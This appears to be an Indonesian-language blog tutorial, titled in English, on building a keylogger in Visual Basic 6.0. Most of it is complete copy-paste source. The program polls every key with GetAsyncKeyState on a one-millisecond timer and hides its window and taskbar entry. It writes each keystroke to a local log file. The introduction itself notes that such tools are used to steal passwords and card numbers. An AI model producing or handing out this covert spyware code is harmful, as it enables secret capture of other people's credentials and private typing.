How to Make Keylogger auto save with Visual Basic 6.0

Pasti diantara kita banyak yang mengenal aplikasi yang satu ini. Yaitu keylogger, yang berfungsi untuk merekam setiap karakter yang di ketikkan di komputer yang berguna untuk memata matai suatu aktifitas yang di lakukan user. Keylogger sendiri sebenar nya sangat berguna untuk kebaikan dan dalam hal positif, misalnya suatu perusahaan ingin mematai-matai atau ingin mengtehui apa yang sebenar nya dilakukan karyawan ketika di jam kerja nya. Namun ada juga hal negatif nya, dan sering disalah gunakan oleh sedimikian orang. Untuk mencuri password misalnya, nomor kartu kredit, dan hal-hal yang merugikan lainya.

Sebenarnya banyak sekali software atau aplikasi keylogger yang tersedia diluar sana, baik yang gratisan atau pun yang berbayar, yang disediakan ole developer tersebut. Namun alangkah baiknya kita dapat membuat aplikasi tersebut secara sederhana, dan mendesainnya sesuka hati sesuai selera.

Disini saya membagikan sedikit, bagaimana membuat keylogger dengan visual basic 6.0.

Baiklah tidak usah terlalu panjang lebar, mari di coba dn ikuti langkah-langkah berikut, cekidot!

Pertama yang harus disediakan yaitu 1 buat komputer lengkap dengan sistem operasi.

Kemudian, install aplikasi visual basic 6.0

Atau jika belum mempunyai software nya dapat di download disini

Kemudian ikuti langkah berikut :
1. Buka visual basic 6.0, dan pilih standar.exe
2. lalu, baut 1 form dan letakkan 1 timer diatas nya

3. Lalu, dobel klik di form nya. Dan hapus semua text yang ada.
4. Dan copy paste code berikut :

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Type TList

kode As Integer

bawah As String

atas As String End Type Private List(1 To 255) As TList

Private IndexList As Integer

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)

IndexList = IndexList + 1

List(IndexList).kode = kode

List(IndexList).atas = atas List(IndexList).bawah = bawah

End Sub

Private Sub Build_Table()

Dim i As Integer

For i = 65 To 90

 AddToTable i, Chr(i), Chr(i + 32)

Next i AddToTable 48, ")", "0"

AddToTable 49, "!", "1"

AddToTable 50, "@", "2"

 AddToTable 51, "#", "3"

AddToTable 52, "$", "4"

AddToTable 53, "%", "5"

AddToTable 54, "^", "6"

AddToTable 55, "&", "7"

AddToTable 56, "*", "8"

AddToTable 57, "(", "9"

AddToTable &H60, "", "0"

AddToTable &H61, "", "1"

AddToTable &H62, "", "2"

AddToTable &H63, "", "3"

AddToTable &H64, "", "4"

AddToTable &H65, "", "5"

AddToTable &H66, "", "6"

AddToTable &H67, "", "7"

AddToTable &H68, "", "8"

AddToTable &H69, "", "9"

' AddToTable Asc(" "), " ", " "

End Sub

Private Sub Form_Load()

Timer1.Interval = 1

Me.Visible = False

App.TaskVisible = False

Build_Table

End Sub

Private Sub AddToFile(Isi As String)

Dim Data As String

Dim FileHandler As Long

If (Dir(App.Path & "\mylog.txt") <> "") Then

FileHandler = FreeFile

Open App.Path & "\mylog.txt" For Input As #FileHandler

Data = Input(LOF(FileHandler) - 2, #FileHandler)

Close #FileHandler

End If

FileHandler = FreeFile

Open App.Path & "\mylog.txt" For Output As #FileHandler

Print #FileHandler, Data & Isi

Close #FileHandler

End Sub

Private Sub Timer1_Timer()

Dim i As Integer

Dim a, b As Integer

For i = LBound(List) To UBound(List)

a = GetAsyncKeyState(List(i).kode)

b = GetAsyncKeyState(16)

If (a = -32767) Then

If (b = -32768) Then AddToFile List(i).atas

Else

AddToFile List(i).bawah

End If

Exit For

End If

Next

End Sub

5. Setelah selesai, coba jalankan. Selamat mencoba!